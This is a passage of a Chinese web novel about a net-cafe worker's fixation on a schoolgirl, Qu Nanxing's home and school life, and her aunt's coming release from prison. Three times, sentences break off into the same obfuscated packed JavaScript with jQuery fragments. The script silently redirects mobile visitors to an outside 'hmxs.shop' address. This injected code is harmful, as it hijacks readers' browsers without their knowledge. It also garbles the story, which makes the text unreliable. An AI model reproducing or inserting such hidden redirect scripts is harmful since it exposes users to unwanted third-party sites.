迄今为止,金振宇只见过那个男人三回,回回都因为干活不够利索被骂,他想到就烦。
“用不着,多大点事,我一个人够。”金振宇说。
“那你可用点心啊,别跟现在似的不着四六整天发呆,要是''打老虎''出事,笑哥得把你削了。”
“哎,你别唠叨了行不行。”
小潘嘀嘀咕咕地站起来,往柜台后的工作间走去,大概是去尿尿。
金振宇耷拉着眼皮,视线有一搭没一搭地飘在无聊的电影画面上。
明明已经十月了,天气还是闷热难耐,他感觉处在这样湿热的环境里,自己活像个趴水缸里的王八,不知道什么时候就会睡死过去。
这时,忽然传来门帘掀起的声音。
金振宇有气无力地抬起头,目光却在下一秒骤然紧锁,整个人都精神了。
她来了。
门口,女生将塑料门帘放好,然后在金振宇的目光追随下,向柜台处走来。她穿着白衬衫和藏青色校服裙,身材纤细,脖颈微抬,走路时如同优雅的白天鹅。
“你好。”
“还是一小时?”金振宇内心很激动,但他竭力克制着自己,不让语调听起来过于滑稽。
“对,麻烦了。”女生递过来一张五元纸币。
这家网吧实行的是预收费制,每小时四块钱,进店时只需交纳前一个小时的费用,若超时则会锁屏,需要到前台向网管申请续费。
金振宇把纸币放进钱盒,取出座位牌和一枚硬币还给她。
“谢谢。”女生接过来,礼貌地道谢后,转身去寻找号码牌上对应的座位。
金振宇给她的是靠墙那排最里面的10号位,看似是随即选择,其实包含了他的小心思:那个位置不仅安静,更重要的是,从柜台里可以360度无死角地观察到使用者的一举一动。
女生在位置上坐下后,打开电脑并戴上耳机,点进一个视频网站。
又看电影?金振宇想。
果然,女生在键盘上敲击了几下后,屏幕上出现了某电影界面,她把进度条拉到3/4的位置,然后点击播放,默默地看起了视频。
借着柜台和收银机遮挡,金振宇注视着女生和她面前的屏幕,他知道自己现在就像个变态偷窥狂,但那又怎么样?偷窥又不犯法。
这个女生是在大约一个月前出现的。
具体哪一天金振宇记不清了,但初次交谈那天的回忆,依然深刻地烙在他的脑海里。
那是个闷热的傍晚。
金振宇坐在柜台后昏昏欲睡,忽然听见头顶上有人打招呼道:“你好,请问一下……”
眼前出现少女白皙的脸庞,一双又大又圆的杏眼正目不转睛地注视着他。
与金振宇的目光交汇,她局促地微微一笑,接着说道:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944428|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨天来过,好像把钱包忘在座位上了,请问您这里有发现吗?”
金振宇摇摇头。
女生的表情有些落寞,低下头喃喃道:“这样啊……那,店里有监控吗?如果方便的话,可不可以借我看一下?”
金振宇再次摇头:“我们店里没监控。”
他顿了一下,没来由地加上了一句:“实在不好意思。”
这突如其来的礼貌令他自己都感到怪异。
“没事的,是我自己不小心,也可能是掉在别的地方了。谢谢。”
女生的眉头蹙着,嘴角却微微向上扬起,说完便转身离去。
金振宇的目光不自觉地追随她的背影。
少女身上散发出不同寻常的纯真气质,是金振宇不管在过去的校园生活还是现在网吧工作中都几乎没有接触过的,令他产生了一种梦幻般的不真实感。
事后,他把这种感觉总结为一见钟情。
金振宇开始偷偷观察那女生的一举一动。
女生只在周一、三、五的晚上六点半到七点间出现,上网时间约40分钟,从来没有申请过续费。她时常会穿着校服光顾,胸口处印有“榆州中学高中部”的字样。
这一点也颇为罕见,因为榆中距离这家网吧有很长一段路程,而学生基本都会选择学校附近的网吧上网,方便放学后和朋友一起开黑打游戏。
金振宇猜测,她是住在周边小区且家里没有电脑的女高中生。
跟那些一落座就迫不及待在网络游戏里展开冲锋的客人不同,她从不玩游戏,每次都是打开视频网站观看电影。
在女生走后,金振宇翻阅了电脑的历史记录,发现她看的都是些老旧的外语片,有些甚至是英文原版,连字幕都没有,他只听了半分钟就感到头晕眼热,赶紧关掉页面,看两部黄片缓缓神。
此刻,女生目不转睛地注视着电脑,屏幕上两个穿着滑稽的老白男正在打架。
金振宇回忆了一下,这部电影似乎叫《基督山伯爵》,又是个他完全不感兴趣的老古董外语片。女生好像是从一周前开始断断续续地看,估计今天能看完。
遗憾的是,这家网吧不查顾客身份证,所以他现在连对方叫什么都不知道。
金振宇计划就在这两天,把人联系方式要到手,于是绞尽脑汁地想搭讪词。
忽然又有人拍了下他的肩膀。
金振宇猜到是小潘,头也没回:“有事说事。”
小潘没说话,又拍了他一下。
金振宇骂道:“傻逼啊你有病?”
身后传来的声音令他瞬间清醒:“看什么呢,这么入神?”
金振宇一个激灵蹦起来,回过头就见笑哥正一脸皮笑肉不笑地盯着自己,不由得心中发毛。
笑哥,网吧的实际所有者,金振宇的顶头大哥和衣食父母。
虽然是只有十来个人的小帮派,但江湖地位在那摆着,笑哥指一没人敢指二,更没人敢在他面前撒野。
“不是,笑哥我……”金振宇嘴角抽了抽,脑子里乱哄哄地响,不知道该说什么。
“小潘说厕所和地下室的灯都打不开,可能是电箱出了故障,喊你去帮忙,叫好几声都没人应,我在楼上都听见了。”
他的嘴角向上扬起,眼里却没有丝毫笑意,抬头佯作环视大厅:
“是又看上哪个妞了?先说好,这次得人同意才能摸手哈。”
听到这话,大厅内几个常客爆发出哈哈大笑,金振宇感到一股热流从脚底猛地窜到头顶,他尴尬地摸着鼻子挤出假笑:“好的笑哥,我这就去。”
钻进工作间时,金振宇仓促地回头瞟了一眼:10号座位上空无一人,女生不知什么时候已经走了。
妈的,早不来晚不来。
金振宇暗暗发誓:
下次,无论如何都要弄到她的联系方式。
9. 学校
十月九日,星期五。
听着手机里播放的英语听力,曲南星把从晾衣架上收的衣服一件件叠好,放进最下层的隔间里。
手机音质很差,时不时发出刺啦刺啦的电流声。
这是曲南星今年的生日礼物,也是庆祝她考上榆州一中的奖励,是表哥换了新款iPhone后淘汰下来的旧手机,姑妈顺水推舟送给了她。
来到阳台,曲南星将洗衣机上堆积的脏衣服塞进滚筒,又在轰隆轰隆的声音里给窗台上姑父种着小葱的花盆浇水。
看了眼时间,七点十分,意味着只剩下五分钟吃早饭,要加快速度。
转动卧室门把手时,曲南星瞥到挂在门后的网球袋,犹豫片刻,她将袋子取下来斜跨在肩上,这才打开房门走出去。
客厅里,姑妈一家正在吃早饭。
“早。”
无人回应。
姑父不出所料正低头翻着今日晨报,对其他事物毫不关心,姑妈则跟表哥絮絮叨叨说着什么,后者一脸的不耐烦。
曲南星走到餐桌边坐下,面前放着一碗红豆稀饭和两碟小菜,说是小菜,其实只剩下寥寥几根榨菜丝。她没有解开书包,直接拿起筷子开始吃饭,听见姑妈说道:“那姑娘不是挺好的吗?工作稳定,长得也漂亮。你哪里不满意倒是说啊?”
哦,原来是在说昨天表哥去相亲的事。
表哥敲开一个咸鸭蛋,边抠蛋黄边说道:“说不上来,就是没感觉。”
姑妈气不打一处来:“‘没感觉没感觉’,感觉是可以培养的呀,你回回都见一面然后不聊了,没时间培养哪来的感觉?”
“这种事急不来,我主要还是看缘分。哎,吃不?”表哥用筷子夹起半个鸭蛋黄,示意曲南星。
“别给她吃这个,油多脸上冒痘。”曲南星还没开口,姑妈就回答,然后拔高语调说道:“相亲当然是看条件,谁家相亲还看缘分?看缘分你上大学的时候怎么没谈?”
表哥不理她,埋头吃饭。
“你没看上我都看上了,多好的媳妇啊,初中老师有编制,家里独生女,听媒人讲她爸妈在平湖有两套房呢,还都是学区房。”姑妈忿忿道,“上次那个也是,税务局的公务员——”
“妈,奶热好没?我上班要迟到了。”表哥试图岔开话题。
“吃吃吃,就知道吃。”姑妈边絮叨边站起身,往厨房的方向走:“什么时候找对象也跟吃饭一样上心就好了!”
过了一会,她端着奶锅回来,把刚煮沸的牛奶往桌上的几个小碗里倒,倒第三个的时候,奶锅见底了。
“牛奶不够了?啊呀,我昨天忘买了。”姑妈说。
真是毫不意外。
曲南星低头喝粥,应道:“没事姑妈,我也不爱喝牛奶。”
这句话似乎让对方紧锁的眉头展开了一点,但当她看到儿子还是一脸无所谓的模样时,又气不打一处来:“下周你们单位搞的那个联谊相亲会,你一定得去,听到没?”
表哥心不在焉地应了一声,跟想起什么似的,说道:“那联谊会名单我看过了,女生好多都是街道办的,没编制还总加班不着家,你愿意?”
姑妈迟疑了两秒,重重拍下桌子:“街道办就街道办呗,你先谈上再说,别在这给我憋屁!”
去年年底,姑妈从厂里提前退休,在家附近一个连锁超市当兼职理货员,因为没什么文化和工作环境影响,平常说话时常夹带着粗口。
戏看得差不多,饭也吃完了,曲南星放下筷子:“我去上学了。”
姑妈这才把视线转移过来,很快注意到曲南星背后的网球袋:“你怎么带这个?不是周四才社团活动吗?”
“周四没上,老师调课到今天下午了。”
“那你早点回来啊,今晚你哥值班,得帮他送饭。”姑妈说道。
“不会影响放学时间的。”曲南星转身去拉玄关的铁门。
这时,姑妈的声音从身后响起:“对了,差点忘了给你讲,昨天我接到监狱那边的电话通知,说你小姨她这个月底出狱,早上十点钟,让我们安排人去接。”
曲南星握着门把的手微微一顿。
姑妈:“那天我跟你姑父都上白班,去不了啊,这咋办?”
“没关系,我自己去接就好了。”
曲南星这样答道。
***
从汇芳小区步行到榆州第一中学,大约需要二十五分钟。赶在七点四十分的早自习铃声响起前,曲南星走进了位于三楼的高一(七)班教室。
刚放下书包,还没来得及坐稳,就听旁边传来方怡宁的声音:“妈耶好惊险,我以为你今天又要迟到了。”
作为同桌和多年老友,方怡宁的性格则完全相反,活泼好动,开朗外向,被班主任蒋女士戏称为“七班的辣妹子”,曾创下辩论赛上凭一己之力干翻对面三大辩手的传奇战绩。
“今天绿灯多。”曲南星说着,把网球袋放到脚边的置物架上。
四面八方传来同学们早读的声音。榆中的早自习没有课程限制,抓量不抓质,随便学生读什么,因此周边一会儿传来“君不见黄河之水天上来”,一会儿“abandon、abandon oneself to sth、be abondoned”,叽叽喳喳像进了菜市场。
方怡宁举着本语文书当掩护,说道:“你自行车还没修好?”
“没修。”
曲南星从书包里拿出英语必修一,翻到今天早上听听力的那一段课文,准备温习一下。
方怡宁:“你那个车我感觉就是链条的问题啊,换一下就好了。骑车上学能节省不少时间呢。”
“没必要吧,反正赶得上。”
“噫,也不知道是谁昨天迟到被蒋叉叉逮到了,还‘赶得上’呢。”
蒋叉叉,本名蒋璇璇,高一七班班主任兼语文老师。因其名字缩写和雷厉风行的作风,被学生取了这个有点搞笑的外号,并广泛传播开来。
“你也骑了不少年了吧,要是修嫌麻烦,不如买个新的?我前几天才去的自行车专卖店,一辆捷安特才两百来块钱。”
“不用了。”曲南星说。
见她不想多说,方怡宁撅了噘嘴,迅速结束了这个话题。
曲南星的惜字如金她已领教多年。二人从小学六年级开始便是同学,初一时成为同桌,一直坐到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944429|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕业,随后两人都顺利考上了榆中的火箭班,并再次成了同桌。
其他同学对曲南星的评价基本都是高冷、冷漠之类的,但方怡宁并不这么觉得,她认为曲南星不是冷漠,只是不太喜欢与人交往过密而已。
她知道一些曲南星家里的事。
“哎?”
正发着呆,方怡宁感觉后背被人轻轻戳了一下,回头一看,后桌的曹璐也拿着语文书当幌子,压低声音道:“我跟你们讲啊,最近最好还是不要走路上下学,很危险。”
“啥意思?”方怡宁一头雾水。
曹璐:“最近世道不太平。我爸不是城管局的嘛,他跟我说这个月已经发生了好几起治安案件,都是在那种没什么人的野路子。”
方怡宁忙回头去看曲南星,却见对方一脸平静地默念着英语课文,于是把她强行扭过来:“别读了,快来听!
曹璐问:“你俩放学都是从正则路走的对吧?那边是不是有个小树林?”
“对啊。”
“就上周末晚上,那树林里有两拨小混混打架斗殴,死了三个人,还伤了两个路过的附近居民。”
“真的假的,这么恐怖?”方怡宁睁大了眼睛。
“我爸亲口跟我讲的!还有更恐怖的我都不说了,怕吓到你们。”
“还有更恐怖的?!”方怡宁愕然,立刻扭头向曲南星说道:“放学我们一起走吧,我骑车带你。”
“两个人是安全点,但如果……”曹蕾顿了一下,语气突然变得暧昧起来,“有男生愿意护送就更好了。”
看曹蕾这副表情,方怡宁不用猜都知道她肯定想到了隔壁班那个男生。
那人身高一米八,长相算小帅,据说是体育生特招,曹蕾从暑期军训的时候就对他颇为留意,时常在聊天时有意无意地提起“那个班的某某某”。
几乎全班都知道曹蕾暗恋对方,但她嘴上不肯承认。
可是……
方怡宁迟疑了一下,不由得把目光转到曲南星身上。她手里还拿着课本,正垂眼默读,表情一如既往的平淡。
“收英语作业,摊开交。”
一道声音打破了沉默,方怡宁抬起头,看见班长正抱着一沓作业本站在桌边,向她们伸出手。
方怡宁赶紧去翻书包,就听班长忽然说道:“你们刚刚在说什么?放学护送?”
“是啊。”曹蕾说,“班长你也听到了?”
“嗯。曹蕾,你是骑车上下学吗?还是你爸接送?”班长问。
“我自己骑车。”曹蕾说着,话锋一转,“那个某某某好像跟我家住在一个方向,我每天骑车都能看到他,下次我再遇到,就去问他要不要顺路一起。”
她的语气不自觉地上扬。
果然又绕到那个人身上了。方怡宁想。
这时,班长王文璐——戴着方框眼镜、梳齐肩短发的圆脸女生,抽出抱作业的手扶了下镜框,然后猝不及防地,说出了刚刚一直在方怡宁脑子里打转的话:
“可是,我听隔壁班的人说那个某某某,前天上历史课给曲南星写情书,结果被他们老师看到,当场没收了。”
方怡宁在心底大呼饶命。
10. 社团活动课的聊天
气氛顿时落到冰点。
见没人回答,王文璐观察着她们的表情,歪了歪头:“我还以为你们都知道。这事闹挺大的,那个某某某下课之后还被班主任喊到办公室挨骂来着。”
说完,她抱着作业本走向教室后排的课桌。
“诶诶,班长弄错了吧,我完全没听说啊。”
等她走后,方怡宁急忙开口,试图打破僵局。
曹蕾脸色肉眼可见的不悦,她撇撇嘴,没说话,低头去翻英语课本,似乎打算开始认真早读。
“应该是弄错了,我完全不认识这个人,也没有跟他说过一句话。”曲南星皱眉,“怎么可能是我?”
“是啊,我天天都跟老曲一起走,连那个某某某的面都没见过。”方怡宁附和道。
在前桌二人目光的注视下,也许是感到了一丝焦灼,曹蕾板着脸放下课本,嘴硬道:“他给谁写情书关我什么事,我又不是他对象。”
说着,她从包里掏出一个长方形糕点盒,拉开外层的粉红色缎带,打开盒盖,露出里面两排贝壳形状的白巧克力,道:“我爸去俄罗斯出差带回来的,请你们吃。”
总算有所缓和,方怡宁暗暗松了口气。
她说谎了。
刚刚她说“没见过某某某”,这句话有歧义,曲南星有没有见过那个男生她不清楚,但是方怡宁自己见过。
起因是这周二的社团活动课。
中场休息的时候,方怡宁去隔壁小卖部买水,忽然被人从后面喊住。
她回过头,发现竟然是“隔壁班的某某某”,不禁吃了一惊。
那男生快步走过来,向她打招呼并准确地说出了她的名字,这令方怡宁更加吃惊。
“能帮我把这封信转交给曲南星同学吗?”
男生递过来的信封是粉红色的,封口还粘着一张卡通兔子贴纸。
某某某?曲南星?
方怡宁感觉脑子不够用了,懵着丢下一句“你还是自己给她吧”后,撒腿就跑。
回到体育馆后,方怡宁纠结了半天要不要跟曲南星说这事,不说不够意思,说了又会让两个人都尴尬,而且对方也没说那封信内容是什么,如果不是情书,岂不是谎报军情?
纠结来纠结去,第二天她跑去隔壁班跟熟人打探消息,结果就得知了某某某在课堂上写情书,被老师当场抓包的事。
但是熟人说不清楚某某某的情书是给谁的,似乎没收情书的历史老师也没有透露。
班长是怎么知道的?
方怡宁百思不得其解。
此时她边伸手去盒子里拿巧克力糖,边偷眼瞟曲南星的反应,见她面色如常,眼神平静,心想:某某某应该还没跟老曲说上话。
方怡宁安心地咬下一口,糖果甜的发齁,连忙回头去拿水杯解渴。
就听见曹蕾说道:“某某某家里是开公司的,我听说,他们家今年在驸马花园新买了一套联排别墅,能在那块儿买房的,资产保守估计有千万以上了。”
她的语气让人不舒服。
方怡宁放下巧克力,讪讪地说了句“是吗”。曲南星没说话。
“这种家庭找对象都可挑剔了,”曹蕾手上随意翻动着课本,摇头道:“单亲或者没点经济基础的,他们都看不上,谈了也迟早分手。”
方怡宁感觉喉咙口被针扎了一下,刺刺的,有点恶心。
曲南星还是没说话。
“哦。”方怡宁喝了口水,清清嗓子,“你看的这么透彻,干脆别读书,去世纪佳缘当客服,专门给人分配对象算了。”
“滚,你才当客服呢。”曹蕾翻了她一个白眼,忽然想起什么,说道:“诶我爸还从免税店给我带了个名牌包,下周带来给你们看看,我去真的好贵,我都想不到一个包能有那么贵。”
她的视线在对面两人脸上逡巡,似乎在等待对方提问“多少钱”,但没人开口。
正在这时,班长王文璐又出现在她们桌边。她手里的作业本没了,应该是收齐后交到了英语老师的办公室。
“我刚刚在办公室遇到隔壁班班长,我跟他又确认了一遍,就是某某某写给曲南星的情书。这男生好莽啊,他之前完全没跟你说过吗?”王文璐看向曲南星,眼神充满了好奇。
三人再次陷入沉默。
瞥见曹蕾瞬间涨红的脸庞,方怡宁虽然有点担心,但不禁想笑。
班长还想说什么,曹蕾忽然道:“好了!”
“你怎么了?”王文璐一脸茫然。
曹蕾冷冷道:“作文练习册用完了,可以再领吗?”
“行啊,到我那儿拿。”
曹蕾僵硬地站起身,跟着王文璐走向靠窗的后排座位。
“诶老曲,你说班长是不是不知道曹蕾喜欢——”
方怡宁还想说点什么,话音未落,忽然坐教室后门口的男生喊道:“蒋叉叉来了!”
这个位置的人主要负责望风。
众学生作鸟兽散。
刚刚抱团形成的各种聊天小团体,瞬间分崩离析成一个个假装天天向上的好学生,对着随手翻到的课本叽里咕噜朗读起来,教室内顿时营造出了明天高考的紧张氛围。
方怡宁手忙脚乱地翻语文书。
上节课教到哪来着?该死,忘记了!
“五十八页,短歌行。”
耳边传来提醒。
下午的七八节,是榆中高一年级的社团活动课。
社团活动课,顾名思义,由学生在每学年年初报名参加社团,并在相应的课程时间进行活动。这些社团五花八门,有考试学科相关的主课社,也有各种体育运动和兴趣爱好社,比如足球社、篮球社、剪纸社等等。
方怡宁原本报的英语阅读社。
这是蒋叉叉给的建议,因为她的英语成绩较为弱势,主要在阅读理解和完形填空的题型上失分。英语阅读社主打组织社员共同阅读国外的原版小说,或看外语电影,以此帮助学生提升语感,非常适合方怡宁参与。
她说服了同样在英语成绩上有苦恼的曲南星,两人一起填写了社团申请表。
只不过,曲南星的难点在英语听力,而非阅读。
然而在报名截止的前一天,曲南星突然改变主意,转而申请了网球社。这另方怡宁大吃一惊。
据她所知,无论在小学还是初中,曲南星都没有对任何球类运动表现过热衷。体育课成绩也平平无奇,跟她出类拔萃的文化课成绩相比,不值一提。
曲南星说,她常感到后腰酸痛,可能是不怎么锻炼的缘故,便想到活动课是一个好机会。
至于为什么会选择网球这项冷门运动,则是因为,乒乓球和羽毛球这类社团都已经满员,提前结束了报名。
体育馆内。
随着球拍的挥动,网球高高飞跃拦网,在场地上回弹一次后,又被对面的球手击回,如此不断反复。
这样的练习已经持续了近两个月,网球社的新社员们都渐渐掌握了这项锻炼的基本要领,组队训练也变得越发娴熟。
“我不行了。”
方怡宁喘着气蹲坐下来,没去接对面的发球,任网球在胶皮地面上骨碌碌滚远。
拦网另一侧,曲南星见状也放下了球拍。
“怎么了?要休息吗?”她走过来问道。
“打不动,实在打不动,感觉要中暑了。”方怡宁抱怨道,“这破体育馆的空调还坏了,热死我了。”
就在昨天,学校发布通知:
体育馆的电路老化,需要关闭中央空调进行维修,预计时间一周,这对于在馆内进行体育活动的学生们无疑是重大打击。
“咱们去观众席上坐会儿吧。”方怡宁环顾四周,尽管天气炎热,馆内仍然挤满了参加社团课的高一学生,就连墙边的排凳也坐满了人。
“好,等我跟老师说一下。”
曲南星点点头,向正在隔壁场地指导另一组社员的中年男人走去。
学校给每个社团都配备了一名指导老师,网球社的老师据说是个名将,曾在省级联赛上拿过奖。
看着她的背影,方怡宁心想,如果是英语阅读课的话,现在是不是在教室里边吹空调边看好莱坞电影?哎,想想都好爽。
不过那样就没办法跟老曲在一块了。
她叹了口气,打消了这个念头。
曲南星很快回来了,提着自己和方怡宁放在网边的水瓶,打了个手势:“我刚刚看见班长她们也在二楼看台上,我们去坐一起吧。”
“好。”
榆中体育馆与大部分学校的类似,整体呈四方形,中间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944430|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是体育场地,周围有楼梯可以上到观众席,座位足以容纳三个年级的全部学生。
走上台阶,方怡宁向坐在第一排的几个同班女生打招呼。她忽然发现曹蕾也在,感到有些尴尬。
偷偷瞄了眼曲南星,她的表情很平常,仿佛已经忘记了早读课时发生的事情。可是曹蕾这一整天都没再跟她俩说话。
果然,看到她俩后,曹蕾随即把脸转了过去。
另一个女生问:“你们怎么不打了?”
方怡宁:“太热了。诶,你们干嘛呢?”
“看比赛。”女生回答道,“我们也嫌热,跟老师请假在这歇会。”
她们是羽毛球社的社员。
“什么比赛?”
女生朝下方指了指,“篮球赛啊,我们班跟隔壁班在打。”
隔壁班?
方怡宁心中警铃大震,顺着手指的方向看去,不出所料,在跳跃的人群里发现了“某某某”的身影,正在向篮网发起进攻,两个七班的男生紧紧贴着他,局势看起来十分紧张。
旁边的计分器显示23:20,七班领先三分。
她不懂篮球也不感兴趣,想问曲南星下课后要不要一起去小卖部买冰激凌,扭头却发现曲南星没在身后,而是走向了里侧的班长。
“班长怎么在这里?你报的好像是室内社团吧。”
她听见曲南星问道,也跟着走过去。
“是化学社。”班长王文璐抬起头,她腿上摊着一张卷子,正拿笔在写。“那个指导老师拿教材上的习题让我们做,几节课都这样,没什么意思。”
“不去没关系吗?”
“她不点名。”王文璐说,视线回到了试卷上,表情专注认真。
方怡宁想问为什么不回教室,忽然又想到蒋叉叉在班会上警告过,社团活动课期间教务处会巡视教学楼,防止有学生逃课回班级,被抓到就通报批评。
难怪班长只能坐在这写。她由衷感到敬佩:学霸在哪都能学。
“最近电影院上了一部新电影,叫‘消失的爱人’,你看过吗?”
“啊?”
等曲南星又问了一遍,方怡宁才意识到她是在跟自己说话,恍然回神,答道:“好像听过,上映好几个月吧?”
“嗯,我一直想去看,没找到时间。”曲南星说,“听说是很精彩的悬疑片。”
“讲的什么?”另一个女生凑过来,好奇道。
“妻子失踪后,丈夫成为头号嫌疑人的故事。”
“听起来很一般嘛,诶曲南星你喜欢看悬疑片?”
女生问出了方怡宁想问的问题。
确切来说,从小学到高中,曲南星从来没主动约她去电影院,弄得她以为曲南星对电影不感兴趣,今天令她颇感意外。
“嗯,我很喜欢。”
曲南星回答道,“特别是推理破案类的片子,像阿加莎的东方快车谋杀案和尼罗河上的惨案,还有福尔摩斯系列,我都看了很多遍。”
王文璐抬起头,扶了一下眼镜:“你说的那些都是老片子了,现在技术这么发达,警察破案用不到多少推理,调查一下附近监控就行。”
“本格推理要的就是那种抽丝剥茧的氛围,拿时代背景较真就没意思了。而且,也不是什么地方都有监控,”
曲南星说着,歪了歪头,“我个人感觉,现代科技对案件最大影响在——”
看台上众人忽然发出了一阵尖叫声,其中曹蕾的声音很明显。向台下看去,原来是那个某某某投进了一个完美的三分球,将比分拉平。
女生被赛况吸引过去,又坐回曹蕾旁边,原地留下了她们三个。
在周围嘈杂的声响中,曲南星却压低了声音,接着说道:“在于网络本身。现实情况中,普通人很难想出复杂的犯罪手法,但是现在可以在网上搜索,查找相关案例,然后模仿。”
她顿了顿,“不管是犯案还是侦查,都是一样的。”
“可是上网会留证据吧,被发现就完蛋了。”方怡宁说。
“是,所以首先要排除自身嫌疑才行。没有搜查证的话,警察也没有权限检查电脑。”
真是奇怪又有趣的话题,方怡宁想。
今天老曲的话好像比平常多得多,是因为讲到了她感兴趣的事吗?
11. 约定
“我们这周六去看电影怎么样?”
放学路上,方怡宁提议道:“就看你说的那个,消失的,的什么来着?”
“消失的爱人。”曲南星想了想,摇头道:“不行,这周末我有事。”
“周末有什么事啊?你姑妈又让你去代她值班了?”
“不是的。”曲南星说,“周六下午社长组织了一对一网球训练,我跟他报过名说要参加的,不好临时放鸽子。”
和大学里的社团一样,榆中每个社团都有社长,由从高一起就呆在该社且表现优秀的高二学生担任。
网球社的社长是高二(1)班的体育委员,学习成绩倒数但运动热情高,经常组织社员周末来校,参加训练活动。
“你报名了?我敲,怎么不告诉我!”方怡宁瞪大眼睛。
“我说了啊,但你那时候在补作业,可能没留神。”
方怡宁气鼓鼓:“好吧,那晚上呢?总不能练到晚上吧。”
“晚上也不行,”曲南星的语气略带歉意,“我要跟家里人看比赛。”
“怎么又是比赛?篮球?”
“最近是世界体操锦标赛,我们家吃晚饭的时候就在电视上看。这周六,女子全能决赛,早说好了要一起看的。”
“你怎么什么比赛都看啊,我真服了。”方怡宁叹气道,“好吧,那算了,我还想着看完电影跟你去逛街呢。”
曲南星:“下周吧,下周末肯定可以。”
方怡宁嘟哝着同意了。两人并肩走在宽阔的街道上,落日把影子拉的笔直,像两道泾渭分明的平行线。
想起白天发生的事,方怡宁忍不住说道:“那个……我跟曹蕾是幼儿园同学,其实她人不坏,就是蠢加嘴上没把门,说话挺伤人的。”
“我知道。”曲南星说,脸色平静。
“那你……还生她气吗?”
方怡宁小心地问。曲南星的回答决定了自己明天对待曹蕾的态度,是若无其事还是继续冷战。
不管怎么样,她俩得站在同一条战线上。
“我没生气啊。”曲南星说。
“哦……”
“不过是个男的而已,真是傻瓜。”曲南星笑了笑,说道。
“呃?”
方怡宁心想,确实只是个男的而已,但如果这话被曹蕾听见,恐怕要引发第三次世界大战了。
“而且,也不是她的错。”曲南星接着道。
这令方怡宁感到疑惑。
“错”,指的是什么呢?
“你觉得,班长这人怎么样?”
忽然话锋一转,方怡宁有些措手不及。
“班长?王文璐?挺好的啊,学霸嘛。”她说完不忘谄媚地补充道:“当然没我家老曲牛逼。”
上个月的月考,曲南星全班第一,比第二王文璐的总分高了九分。所以她的奉承也算话有所依。
“她好像不太喜欢我。”曲南星说。
方怡宁皱起眉头,脑海中浮现出王文璐坐在看台上远离人群的排椅尽头,低头认真做卷子的场景。
“没有……吧?我感觉她对所有人都一样啊,就,淡淡的,跟你差不多哈哈哈。”
曲南星微微一笑,没有说话。
“你是说某某某写情书的事?”方怡宁问。
曲南星点了点头。
方怡宁:“不会吧,她平时跟我们这片也没啥交集,应该不知道曹蕾喜欢某某某。而且我看她傻不愣登的一心只读圣贤书,对谁跟谁谈恋爱这种八卦根本没兴趣吧。”
“也许吧。”
曲南星说着,站到了岔路口的红绿灯下,她们一个向左一个直行,即将分道扬镳。
绿灯亮起,女孩们挥手道别,然后曲南星走上人行道。方怡宁看着她的背影,开始畅想晚饭家里会有什么荤菜,希望是糖醋排骨或酸汤肥牛。
出人意料的是,曲南星走了几步后忽然转身,回头说道:
“可是这样的话,她应该会说‘隔壁班的张阳’,而不是‘某某某’。”
方怡宁愣住了。
***
回到家,曲南星刚把书包放下,就听见厨房里传来姑妈的呼喊声。
“就来。”
她应了一声,走向厨房。
哗哗的水流声中,姑妈站在洗碗池前,边给青菜冲水,边择掉黄烂的菜叶。
见曲南星来了,姑妈一把抹掉额头的汗,不悦道:“怎么这么晚,不是说了给你哥送饭要早点回来的吗?”
“抱歉,路上有点堵。”曲南星说着,接过护袖套上。
姑妈绕过她走向灶台,打开抽油烟机准备烧晚饭。
她把中午吃剩的红烧肉连汤带水倒进锅里,翻炒了几下,狭窄空间里很快充满了浓郁的肉味。
“搞快点,你姑父过会也要到家了,真是的,回来这么晚。”
曲南星没吭声,加快了手上的动作。
姑妈欲言又止,似乎想说什么,哼哼了几下还是忍不住道:“有空也劝劝你表哥,二十几的人了,还这么不着调。”
曲南星笑了笑。
“你说他到底要找个什么对象?介绍了十四五个,一个也没谈起来,我都要给他气死了。”姑妈用力翻动铲子,在锅底咚咚作响。
“可能表哥眼光比较特殊吧。”
“就他事多。”姑妈骂骂咧咧。
她把冒着热气的肉块铲起来,装进锅边已经盛好米饭的不锈钢饭盒里。
“上次那公务员条件那么好,他还嫌这嫌那。人家在平湖区有两套房,两套房诶,什么概念啊!咱家光是给他攒婚房都要累死累活砸锅卖铁,比不上人家做生意的爹妈随手拔根毛的。”
曲南星将洗好切好的菜倒进锅里翻炒起来,姑妈站在身后,叉着腰看。
瞥她一眼,姑妈换了话题:“早上说的,你小姨出狱的事,别忘了啊。”
“嗯。”
“你小姨也真是,这么大人了,还读过大学呢,做事一点不考虑后果。”
曲南星面无表情。
这番话,在过去四年间起码听过一百遍。
